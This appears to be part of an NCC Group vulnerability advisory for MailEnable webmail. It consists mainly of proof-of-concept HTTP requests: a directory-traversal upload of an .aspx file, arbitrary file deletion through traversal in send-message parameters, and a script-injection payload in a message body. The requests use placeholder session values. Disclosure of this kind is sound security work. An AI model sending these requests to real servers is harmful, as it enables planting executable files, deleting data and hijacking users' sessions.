```
       _______  ________ ________     ________
      \      \ \_      ___ \\_    ___ \    /   ____/______ ____  __ ________
      /   |   \/    \  \\//    \  \/  /   \   __\_  __ \/  _ \|  |  \____ \
     /    |    \     \___\     \____ \    \_\  \  | \(  <_> )  |  /  |_> >
     \____|__  /\_______ /\_______  /  \_______  /__|   \____/|____/|    __/
             \/         \/         \/          \/                  |__|

                     https://www.nccgroup.com/research/

~.~.~.
```

** Example 3: Uploading files in other directories by using directory traversal in the File Upload module

PoC (Folder parameter was affected):

```
POST
/MEWebMail/Mondo/lang/sys/Forms/FLS/list.aspx?TS=1419286047604&Folder=%24FILEROOT%2f/../../../../../ HTTP/1.1
Host: example.com
Cookie: [VALID_COOKIES_HERE]
Content-Type: multipart/form-data;
boundary=----------------------------12571835021337
Content-Length: [VALID_LENGTH]

-----------------------------12571835021337
Content-Disposition: form-data; name="__VIEWSTATE"

[VALID_VIEWSTATE_HERE]
-----------------------------12571835021337
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

[VALID_VIEWSTATEGENERATOR_HERE]
-----------------------------12571835021337
Content-Disposition: form-data; name="ME_SID"

[VALID_ME_SID_HERE]
-----------------------------12571835021337
Content-Disposition: form-data; name="uscFileUpload$FileUploader";
filename="testfile.aspx"
Content-Type: application/octet-stream

[data here]
-----------------------------12571835021337--
```

** Example 4: Deleting arbitrary files from the server by using the send email functionality

PoC (ID and Folder parameters were affected - "+" sign was used to encode the space characters):

```
POST /MEWebMail/Mondo/Servlet/request.aspx HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
MailEnable-SessionId: [VALID_SESSIONID_HERE]
Content-Length: [VALID_LENGTH]
Cookie: [VALID_COOKIES_HERE]
Cmd=SEND-
MESSAGE&ID=xxx\..+\..+\xxxxxxxxx&Folder=%5cDraftsxxxx&MsgBody=test&HTMLFormat=1&FromRecipients=%5BDEFAULT%5D&ToRecipients=user%40test.com&CCRecipients=&BCCRecipients=&Subject=test&Priority=3&Notify=false&PostOffice=DEFAULT&Mailbox=testuser&SessionKey=0e7a00032f33230f7c65092c540e690620&IdentityID=[DEFAULT]&CS=Send
```

~.~.~.

PoC ("+" sign was used to encode the space characters):

```
1337+Message+Body<img/src=x+onerror=alert('XSS-HERE!')+
```

~.~.~.